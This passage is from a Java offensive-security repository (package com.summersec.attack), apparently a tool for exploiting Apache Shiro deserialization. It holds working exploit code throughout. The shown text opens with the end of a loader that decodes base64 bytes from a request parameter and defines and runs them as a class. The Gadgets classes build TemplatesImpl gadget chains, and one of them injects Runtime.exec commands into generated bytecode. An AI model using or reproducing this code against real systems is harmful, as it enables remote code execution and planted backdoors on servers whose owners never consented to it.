0; j < ps.size(); j++) { 50 | Object p = ps.get(j); 51 | o = getFV(p, "req"); 52 | resp = o.getClass().getMethod("getResponse", new Class[0]).invoke(o, new Object[0]); 53 | 54 | Object conreq = o.getClass().getMethod("getNote", new Class[]{int.class}).invoke(o, new Object[]{new Integer(1)}); 55 | 56 | user = (String) conreq.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(conreq, new Object[]{new String("user")}); 57 | 58 | if (user != null && !user.isEmpty()) { 59 | byte[] bytecodes = org.apache.shiro.codec.Base64.decode(user); 60 | 61 | java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{byte[].class, int.class, int.class}); 62 | defineClassMethod.setAccessible(true); 63 | 64 | Class cc = (Class) defineClassMethod.invoke(this.getClass().getClassLoader(), new Object[]{bytecodes, new Integer(0), new Integer(bytecodes.length)}); 65 | 66 | cc.newInstance().equals(conreq); 67 | done = true; 68 | } 69 | if (done) { 70 | break; 71 | } 72 | } 73 | } 74 | } 75 | } catch (Exception e) { 76 | ; 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str = str + ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(Class clazz) { 26 | try { 27 | byte[] buffer = new byte[1024]; 28 | String file = classAsFile(clazz); 29 | InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | } 44 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/CommonUtil.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import javassist.CannotCompileException; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | 7 | import java.io.*; 8 | 9 | /** 10 | * @ClassName: CommonUtil 11 | * @Description: TODO 12 | * @Author: Summer 13 | * @Date: 2021/6/15 20:12 14 | * @Version: v1.0.0 15 | * @Description: 16 | **/ 17 | public class CommonUtil { 18 | public static byte[] getFileBytes(String file) { 19 | try { 20 | File f = new File(file); 21 | int length = (int) f.length(); 22 | byte[] data = new byte[length]; 23 | new FileInputStream(f).read(data); 24 | return data; 25 | } catch (Exception e) { 26 | e.printStackTrace(); 27 | return null; 28 | } 29 | } 30 | 31 | public static Class getClass(String className){ 32 | Class clazz = null; 33 | try{ 34 | clazz = Thread.currentThread().getContextClassLoader().loadClass(className); 35 | }catch (Exception e){ 36 | ClassPool pool = new ClassPool(true); 37 | CtClass targetClass = pool.makeClass(className); 38 | try { 39 | clazz = targetClass.toClass(); 40 | } catch (CannotCompileException cannotCompileException) { 41 | cannotCompileException.printStackTrace(); 42 | } 43 | } 44 | return clazz; 45 | } 46 | 47 | // public static String classToBCEL(byte[] clazzBytes) throws IOException { 48 | // String strBCEL = "$$BCEL$$" + Utility.encode(clazzBytes, true); 49 | // return strBCEL; 50 | // } 51 | // 52 | // public static String classToBCEL(String classPath) throws IOException { 53 | // byte[] clazzBytes = CommonUtil.getFileBytes(classPath); 54 | // return classToBCEL(clazzBytes); 55 | // } 56 | 57 | public static byte[] readFileByte(String filename) throws IOException { 58 | 59 | File f = new File(filename); 60 | if (!f.exists()) { 61 | throw new FileNotFoundException(filename); 62 | } 63 | 64 | ByteArrayOutputStream bos = new ByteArrayOutputStream((int) f.length()); 65 | BufferedInputStream in = null; 66 | try { 67 | in = new BufferedInputStream(new FileInputStream(f)); 68 | int buf_size = 1024; 69 | byte[] buffer = new byte[buf_size]; 70 | int len = 0; 71 | while (-1 != (len = in.read(buffer, 0, buf_size))) { 72 | bos.write(buffer, 0, len); 73 | } 74 | return bos.toByteArray(); 75 | } catch (IOException e) { 76 | e.printStackTrace(); 77 | throw e; 78 | } finally { 79 | try { 80 | in.close(); 81 | } catch (IOException e) { 82 | e.printStackTrace(); 83 | } 84 | bos.close(); 85 | } 86 | } 87 | 88 | public static String fileContextToByteArrayString(String filePath) throws IOException { 89 | byte[] fileContent = CommonUtil.readFileByte(filePath); 90 | return byteToByteArrayString(fileContent); 91 | } 92 | 93 | public static String stringToByteArrayString(String str){ 94 | byte[] byteString = str.getBytes(); 95 | return byteToByteArrayString(byteString); 96 | } 97 | 98 | public static String byteToByteArrayString(byte[] strByte){ 99 | StringBuffer sb = new StringBuffer(); 100 | if(strByte.length > 0) { 101 | for (byte bStr : strByte) { 102 | sb.append(bStr); 103 | sb.append(","); 104 | } 105 | sb.deleteCharAt(sb.length() - 1); 106 | } 107 | return sb.toString(); 108 | } 109 | } 110 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/CommonUtils.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import com.summersec.attack.utils.HttpUtil; 4 | 5 | import java.io.ByteArrayOutputStream; 6 | import java.io.InputStream; 7 | import java.util.HashMap; 8 | import java.util.Map; 9 | 10 | public class CommonUtils { 11 | 12 | public static String readStringFromInputStream(InputStream inputStream) throws Exception{ 13 | StringBuilder stringBuilder = new StringBuilder(""); 14 | byte[] bytes = new byte[1024]; 15 | int n = 0; 16 | while ((n=inputStream.read(bytes)) != -1){ 17 | stringBuilder.append(new String(bytes,0,n)); 18 | } 19 | return stringBuilder.toString(); 20 | } 21 | 22 | 23 | // public static byte[] getDetectText() throws Exception{ 24 | // InputStream inputStream = HttpUtils.class.getClassLoader().getResourceAsStream("detect.txt"); 25 | // // 读取字节流还是用 ByteArrayOutputStream 26 | // // 将数据读到 byteArrayOutputStream 中 27 | // ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 28 | // int n; 29 | // while ((n=inputStream.read()) != -1){ 30 | // byteArrayOutputStream.write(n); 31 | // } 32 | // byte[] bytes = byteArrayOutputStream.toByteArray(); 33 | // return bytes; 34 | // } 35 | 36 | public static Map normalProxy(Map paramContext) { 37 | String myProxy = paramContext.get("MyProxy"); 38 | String host = myProxy.split(":")[0]; 39 | String port = myProxy.split(":")[1]; 40 | Map proxy = new HashMap<>(); 41 | proxy.put("host",host); 42 | proxy.put("port", String.valueOf(port)); 43 | return proxy; 44 | } 45 | 46 | public static void main(String[] args) { 47 | String myProxy = "127.0.0.1:7890"; 48 | String host = myProxy.split(":")[0]; 49 | int port = Integer.parseInt(myProxy.split(":")[1]); 50 | System.out.println(host); 51 | System.out.println(port); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/DynamicDependencies.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | public interface DynamicDependencies {} 4 | 5 | 6 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Gadgets.java: -------------------------------------------------------------------------------- 1 | // 2 | // Source code recreated from a .class file by IntelliJ IDEA 3 | // (powered by Fernflower decompiler) 4 | // 5 | 6 | package com.summersec.attack.deser.util; 7 | 8 | import com.summersec.attack.deser.echo.EchoPayload; 9 | import com.summersec.attack.deser.echo.EchoPayload.Utils; 10 | import com.summersec.attack.deser.plugins.InjectPayload; 11 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 12 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 13 | 14 | import java.io.File; 15 | import java.io.FileOutputStream; 16 | import java.lang.reflect.Array; 17 | import java.lang.reflect.Constructor; 18 | import java.lang.reflect.Field; 19 | import java.lang.reflect.InvocationHandler; 20 | import java.lang.reflect.InvocationTargetException; 21 | import java.lang.reflect.Proxy; 22 | import java.util.HashMap; 23 | import java.util.Map; 24 | import javassist.ClassPool; 25 | import javassist.CtClass; 26 | 27 | public class Gadgets { 28 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 29 | 30 | public Gadgets() { 31 | } 32 | 33 | public static T createMemoitizedProxy(Map map, Class iface, Class... ifaces) throws Exception { 34 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 35 | } 36 | 37 | public static InvocationHandler createMemoizedInvocationHandler(Map map) throws Exception { 38 | return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map); 39 | } 40 | 41 | public static T createProxy(InvocationHandler ih, Class iface, Class... ifaces) { 42 | Class[] allIfaces = (Class[])((Class[])Array.newInstance(Class.class, ifaces.length + 1)); 43 | allIfaces[0] = iface; 44 | if (ifaces.length > 0) { 45 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 46 | } 47 | 48 | return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); 49 | } 50 | 51 | public static Map createMap(String key, Object val) { 52 | Map map = new HashMap(); 53 | map.put(key, val); 54 | return map; 55 | } 56 | 57 | public static Object createTemplatesImpl(String classpayload,String payloadskey) throws Exception { 58 | return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(classpayload, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),payloadskey) : createTemplatesImpl(classpayload, TemplatesImpl.class, AbstractTranslet.class,payloadskey); 59 | } 60 | 61 | public static T createTemplatesImpl(String payload, Class tplClass, Class abstTranslet,String payloadskey) throws Exception { 62 | T templates = tplClass.newInstance(); 63 | ClassPool pool = ClassPool.getDefault(); 64 | CtClass clazz; 65 | if(payloadskey!=null && !payloadskey.equals("")){ 66 | Class echoClazz = com.summersec.attack.deser.plugins.InjectPayload.Utils.getPayloadClass(payload); 67 | InjectPayload echoObj = (InjectPayload)echoClazz.newInstance(); 68 | clazz = echoObj.genPayload(pool,payloadskey); 69 | } 70 | else{ 71 | Class echoClazz = Utils.getPayloadClass(payload); 72 | EchoPayload echoObj = (EchoPayload)echoClazz.newInstance(); 73 | clazz = echoObj.genPayload(pool); 74 | } 75 | 76 | CtClass superClass = pool.get(abstTranslet.getName()); 77 | clazz.setSuperclass(superClass); 78 | byte[] classBytes = clazz.toBytecode(); 79 | Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes"); 80 | bcField.setAccessible(true); 81 | bcField.set(templates, new byte[][]{classBytes}); 82 | Field nameField = TemplatesImpl.class.getDeclaredField("_name"); 83 | nameField.setAccessible(true); 84 | nameField.set(templates, "a"); 85 | return templates; 86 | } 87 | 88 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 89 | HashMap s = new HashMap(); 90 | Reflections.setFieldValue(s, "size", 2); 91 | 92 | Class nodeC; 93 | try { 94 | nodeC = Class.forName("java.util.HashMap$Node"); 95 | } catch (ClassNotFoundException var6) { 96 | nodeC = Class.forName("java.util.HashMap$Entry"); 97 | } 98 | 99 | Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC); 100 | Reflections.setAccessible(nodeCons); 101 | Object tbl = Array.newInstance(nodeC, 2); 102 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 103 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 104 | Reflections.setFieldValue(s, "table", tbl); 105 | return s; 106 | } 107 | 108 | static { 109 | System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true"); 110 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Gadgets_orgin.java: -------------------------------------------------------------------------------- 1 | 2 | 3 | package com.summersec.attack.deser.util; 4 | 5 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 6 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 7 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 8 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 9 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 10 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 11 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 12 | import java.io.Serializable; 13 | import java.lang.reflect.Array; 14 | import java.lang.reflect.Constructor; 15 | import java.lang.reflect.InvocationHandler; 16 | import java.lang.reflect.InvocationTargetException; 17 | import java.lang.reflect.Proxy; 18 | import java.util.Arrays; 19 | import java.util.HashMap; 20 | import java.util.Map; 21 | import javassist.ClassClassPath; 22 | import javassist.ClassPool; 23 | import javassist.CtClass; 24 | 25 | public class Gadgets_orgin { 26 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 27 | 28 | public Gadgets_orgin() { 29 | } 30 | 31 | public static T createMemoitizedProxy(Map map, Class iface, Class... ifaces) throws Exception { 32 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 33 | } 34 | 35 | public static InvocationHandler createMemoizedInvocationHandler(Map map) throws Exception { 36 | return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(Override.class, map); 37 | } 38 | 39 | public static T createProxy(InvocationHandler ih, Class iface, Class... ifaces) { 40 | Class[] allIfaces = (Class[])((Class[])Array.newInstance(Class.class, ifaces.length + 1)); 41 | allIfaces[0] = iface; 42 | if (ifaces.length > 0) { 43 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 44 | } 45 | 46 | return iface.cast(Proxy.newProxyInstance(Gadgets_orgin.class.getClassLoader(), allIfaces, ih)); 47 | } 48 | 49 | public static Map createMap(String key, Object val) { 50 | Map map = new HashMap(); 51 | map.put(key, val); 52 | return map; 53 | } 54 | 55 | public static Object createTemplatesImpl(String command) throws Exception { 56 | return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl(command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 57 | } 58 | 59 | public static T createTemplatesImpl(String command, Class tplClass, Class abstTranslet, Class transFactory) throws Exception { 60 | T templates = tplClass.newInstance(); 61 | ClassPool pool = ClassPool.getDefault(); 62 | pool.insertClassPath(new ClassClassPath(Gadgets_orgin.StubTransletPayload.class)); 63 | pool.insertClassPath(new ClassClassPath(abstTranslet)); 64 | CtClass clazz = pool.get(Gadgets_orgin.StubTransletPayload.class.getName()); 65 | String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\", "\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; 66 | clazz.makeClassInitializer().insertAfter(cmd); 67 | clazz.setName("dogeser.doge"); 68 | CtClass superC = pool.get(abstTranslet.getName()); 69 | clazz.setSuperclass(superC); 70 | byte[] classBytes = clazz.toBytecode(); 71 | System.out.println(Arrays.toString(classBytes)); 72 | System.out.println(Arrays.toString(ClassFiles.classAsBytes(Gadgets_orgin.Foo.class))); 73 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes}); 74 | Reflections.setFieldValue(templates, "_name", "Doge"); 75 | // Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); 76 | return templates; 77 | } 78 | 79 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 80 | HashMap s = new HashMap(); 81 | Reflections.setFieldValue(s, "size", 2); 82 | 83 | Class nodeC; 84 | try { 85 | nodeC = Class.forName("java.util.HashMap$Node"); 86 | } catch (ClassNotFoundException var6) { 87 | nodeC = Class.forName("java.util.HashMap$Entry"); 88 | } 89 | 90 | Constructor nodeCons = nodeC.getDeclaredConstructor(Integer.TYPE, Object.class, Object.class, nodeC); 91 | Reflections.setAccessible(nodeCons); 92 | Object tbl = Array.newInstance(nodeC, 2); 93 | Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); 94 | Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); 95 | Reflections.setFieldValue(s, "table", tbl); 96 | return s; 97 | } 98 | 99 | static { 100 | System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true"); 101 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 102 | } 103 | 104 | public static class Foo implements Serializable { 105 | private static final long serialVersionUID = 8207363842866235160L; 106 | 107 | public Foo() { 108 | } 109 | } 110 | 111 | public static class StubTransletPayload extends AbstractTranslet implements Serializable { 112 | private static final long serialVersionUID = -5971610431559700674L; 113 | 114 | public StubTransletPayload() { 115 | } 116 | 117 | @Override 118 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 119 | } 120 | 121 | @Override 122 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 123 | } 124 | } 125 | } 126 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Gadgetsasm.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 5 | import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; 6 | import java.io.File; 7 | import java.io.FileOutputStream; 8 | import java.io.OutputStream; 9 | import java.lang.reflect.Array; 10 | import java.lang.reflect.Constructor; 11 | import java.lang.reflect.Field; 12 | import java.lang.reflect.InvocationHandler; 13 | import java.lang.reflect.InvocationTargetException; 14 | import java.lang.reflect.Proxy; 15 | import java.util.HashMap; 16 | import java.util.Map; 17 | 18 | 19 | 20 | 21 | 22 | public class Gadgetsasm 23 | { 24 | public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; 25 | 26 | static { 27 | System.setProperty("jdk.xml.enableTemplatesImplDeserialization", "true"); 28 | 29 | 30 | System.setProperty("java.rmi.server.useCodebaseOnly", "false"); 31 | } 32 | 33 | 34 | 35 | public static T createMemoitizedProxy(Map map, Class iface, Class... ifaces) throws Exception { 36 | return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); 37 | } 38 | 39 | 40 | public static InvocationHandler createMemoizedInvocationHandler(Map map) throws Exception { 41 | return (InvocationHandler)Reflections.getFirstCtor("sun.reflect.annotation.AnnotationInvocationHandler").newInstance(new Object[] { Override.class, map }); 42 | } 43 | 44 | 45 | public static T createProxy(InvocationHandler ih, Class iface, Class... ifaces) { 46 | Class[] allIfaces = (Class[])Array.newInstance(Class.class, ifaces.length + 1); 47 | allIfaces[0] = iface; 48 | if (ifaces.length > 0) { 49 | System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); 50 | } 51 | return iface.cast(Proxy.newProxyInstance(Gadgetsasm.class.getClassLoader(), allIfaces, ih)); 52 | } 53 | 54 | 55 | public static Map createMap(String key, Object val) { 56 | Map map = new HashMap<>(); 57 | map.put(key, val); 58 | return map; 59 | } 60 | 61 | 62 | public static Object createTemplatesImpl(byte[] classpayload) throws Exception { 63 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { 64 | return createTemplatesImpl(classpayload, 65 | Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), 66 | Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), 67 | Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); 68 | } 69 | 70 | return createTemplatesImpl(classpayload, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); 71 | } 72 | 73 | 74 | 75 | 76 | 77 | 78 | public static T createTemplatesImpl(byte[] payload, Class tplClass, Class abstTranslet, Class transFactory) throws Exception { 79 | T templates = tplClass.newInstance(); 80 | 81 | 82 | 83 | // File file = new File("D:\\tools\\temp\\temp.class"); 84 | // 85 | // OutputStream os = new FileOutputStream(file); 86 | // 87 | // 88 | // os.write(payload); 89 | 90 | 91 | Field bcField = TemplatesImpl.class.getDeclaredField("_bytecodes"); 92 | bcField.setAccessible(true); 93 | bcField.set(templates, new byte[][] { payload }); 94 | Field nameField = TemplatesImpl.class.getDeclaredField("_name"); 95 | nameField.setAccessible(true); 96 | nameField.set(templates, "a"); 97 | 98 | return templates; 99 | } 100 | 101 | 102 | public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 103 | Class nodeC; 104 | HashMap s = new HashMap<>(); 105 | Reflections.setFieldValue(s, "size", Integer.valueOf(2)); 106 | 107 | try { 108 | nodeC = Class.forName("java.util.HashMap$Node"); 109 | } catch (ClassNotFoundException e) { 110 | nodeC = Class.forName("java.util.HashMap$Entry"); 111 | } 112 | Constructor nodeCons = nodeC.getDeclaredConstructor(new Class[] { int.class, Object.class, Object.class, nodeC }); 113 | Reflections.setAccessible(nodeCons); 114 | 115 | Object tbl = Array.newInstance(nodeC, 2); 116 | Array.set(tbl, 0, nodeCons.newInstance(new Object[] { Integer.valueOf(0), v1, v1, null })); 117 | Array.set(tbl, 1, nodeCons.newInstance(new Object[] { Integer.valueOf(0), v2, v2, null })); 118 | Reflections.setFieldValue(s, "table", tbl); 119 | return s; 120 | } 121 | } 122 | 123 | 124 | 125 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Gadgetsplugin.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import com.summersec.attack.deser.echo.EchoPayload; 4 | import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 5 | 6 | public class Gadgetsplugin 7 | { 8 | public static T createTemplatesImpl(String classname) throws Exception { 9 | Class clazz1 = null; 10 | Class tplClass = null; 11 | 12 | if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) { 13 | tplClass = (Class)Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"); 14 | } else { 15 | clazz1 = TemplatesImpl.class; 16 | } 17 | 18 | 19 | Class clazz = EchoPayload.Utils.getPayloadClass(classname); 20 | 21 | T templates = (T)clazz1.newInstance(); 22 | byte[] classBytes = ClassFiles.classAsBytes(clazz); 23 | 24 | Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes }); 25 | 26 | 27 | 28 | Reflections.setFieldValue(templates, "_name", "Doge"); 29 | return templates; 30 | } 31 | } 32 | 33 | 34 | 35 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/JavaVersion.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | 4 | 5 | public class JavaVersion 6 | { 7 | public int major; 8 | public int minor; 9 | public int update; 10 | 11 | public static JavaVersion getLocalVersion() { 12 | String property = System.getProperties().getProperty("java.version"); 13 | if (property == null) { 14 | return null; 15 | } 16 | JavaVersion v = new JavaVersion(); 17 | String[] parts = property.split("\\.|_|-"); 18 | int start = "1".equals(parts[0]) ? 1 : 0; 19 | v.major = Integer.parseInt(parts[start + 0]); 20 | v.minor = Integer.parseInt(parts[start + 1]); 21 | v.update = Integer.parseInt(parts[start + 2]); 22 | return v; 23 | } 24 | 25 | public static boolean isAnnInvHUniversalMethodImpl() { 26 | JavaVersion v = getLocalVersion(); 27 | return (v != null && (v.major < 8 || (v.major == 8 && v.update <= 71))); 28 | } 29 | 30 | public static boolean isBadAttrValExcReadObj() { 31 | JavaVersion v = getLocalVersion(); 32 | return (v != null && v.major > 8 && v.update >= 76); 33 | } 34 | 35 | public static boolean isAtLeast(int major) { 36 | JavaVersion v = getLocalVersion(); 37 | return (v != null && v.major >= major); 38 | } 39 | } 40 | 41 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/JavassistClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | /** 4 | * @ClassName: JavassistClassLoader 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2022/1/24 16:34 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class JavassistClassLoader extends ClassLoader { 12 | public JavassistClassLoader(){ 13 | super(Thread.currentThread().getContextClassLoader()); 14 | } 15 | } -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import com.nqzero.permit.Permit; 4 | import java.lang.reflect.AccessibleObject; 5 | import java.lang.reflect.Constructor; 6 | import java.lang.reflect.Field; 7 | import java.lang.reflect.InvocationTargetException; 8 | import sun.reflect.ReflectionFactory; 9 | 10 | 11 | 12 | 13 | public class Reflections { 14 | 15 | public static void setAccessible(AccessibleObject member) { 16 | Permit.setAccessible(member); 17 | } 18 | 19 | public static Field getField(Class clazz, String fieldName) { 20 | Field field = null; 21 | try { 22 | field = clazz.getDeclaredField(fieldName); 23 | setAccessible(field); 24 | } 25 | catch (NoSuchFieldException ex) { 26 | if (clazz.getSuperclass() != null) { 27 | field = getField(clazz.getSuperclass(), fieldName); 28 | } 29 | } 30 | return field; 31 | } 32 | 33 | public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { 34 | Field field = getField(obj.getClass(), fieldName); 35 | field.set(obj, value); 36 | } 37 | 38 | public static Object getFieldValue(Object obj, String fieldName) throws Exception { 39 | Field field = getField(obj.getClass(), fieldName); 40 | return field.get(obj); 41 | } 42 | 43 | public static Constructor getFirstCtor(String name) throws Exception { 44 | Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 45 | setAccessible(ctor); 46 | return ctor; 47 | } 48 | 49 | public static Object newInstance(String className, Object... args) throws Exception { 50 | return getFirstCtor(className).newInstance(args); 51 | } 52 | 53 | 54 | public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 55 | return createWithConstructor(classToInstantiate, (Class) Object.class, new Class[0], new Object[0]); 56 | } 57 | 58 | 59 | 60 | public static T createWithConstructor(Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 61 | Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); 62 | setAccessible(objCons); 63 | Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); 64 | setAccessible(sc); 65 | return (T)sc.newInstance(consArgs); 66 | } 67 | } 68 | 69 | 70 | 71 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/StandardExecutorClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import java.io.File; 4 | import java.io.IOException; 5 | import java.net.MalformedURLException; 6 | import java.net.URL; 7 | import java.net.URLClassLoader; 8 | 9 | public class StandardExecutorClassLoader extends URLClassLoader { 10 | 11 | private final static String baseDir = System.getProperty("user.dir") + File.separator + "lib" + File.separator; 12 | 13 | public StandardExecutorClassLoader(String version) { 14 | // 将 Parent 设置为 null 15 | super(new URL[] {}, null); 16 | 17 | loadResource(version); 18 | } 19 | 20 | @Override 21 | public Class loadClass(String name) throws ClassNotFoundException { 22 | // 测试时可打印看一下 23 | // System.out.println("Class loader: " + name); 24 | return super.loadClass(name); 25 | } 26 | 27 | @Override 28 | protected Class findClass(String name) throws ClassNotFoundException { 29 | try { 30 | return super.findClass(name); 31 | } catch(ClassNotFoundException e) { 32 | return StandardExecutorClassLoader.class.getClassLoader().loadClass(name); 33 | } 34 | } 35 | 36 | private void loadResource(String version) { 37 | String jarPath = baseDir + version; 38 | 39 | // 加载对应版本目录下的 Jar 包 40 | tryLoadJarInDir(jarPath); 41 | // 加载对应版本目录下的 lib 目录下的 Jar 包 42 | // tryLoadJarInDir(jarPath + File.separator + "lib"); 43 | } 44 | 45 | private void tryLoadJarInDir(String dirPath) { 46 | System.out.println("Try load jar in dir: " + dirPath); 47 | File dir = new File(dirPath); 48 | // 自动加载目录下的jar包 49 | if (dir.exists() && dir.isDirectory()) { 50 | for (File file : dir.listFiles()) { 51 | if (file.isFile() && file.getName().endsWith(".jar")) { 52 | this.addURL(file); 53 | continue; 54 | } 55 | } 56 | } 57 | } 58 | 59 | private void addURL(File file) { 60 | try { 61 | super.addURL(new URL("file", null, file.getCanonicalPath())); 62 | } catch (MalformedURLException e) { 63 | e.printStackTrace(); 64 | } catch (IOException e) { 65 | e.printStackTrace(); 66 | } 67 | } 68 | 69 | } 70 | -------------------------------------------------------------------------------- /src/main/java/com/summersec/attack/deser/util/Strings.java: -------------------------------------------------------------------------------- 1 | package com.summersec.attack.deser.util; 2 | 3 | import java.util.Arrays; 4 | import java.util.Comparator; 5 | import java.util.LinkedList; 6 | import java.util.List; 7 | 8 | public class Strings { 9 | public static String join(Iterable strings, String sep, String prefix, String suffix) { 10 | 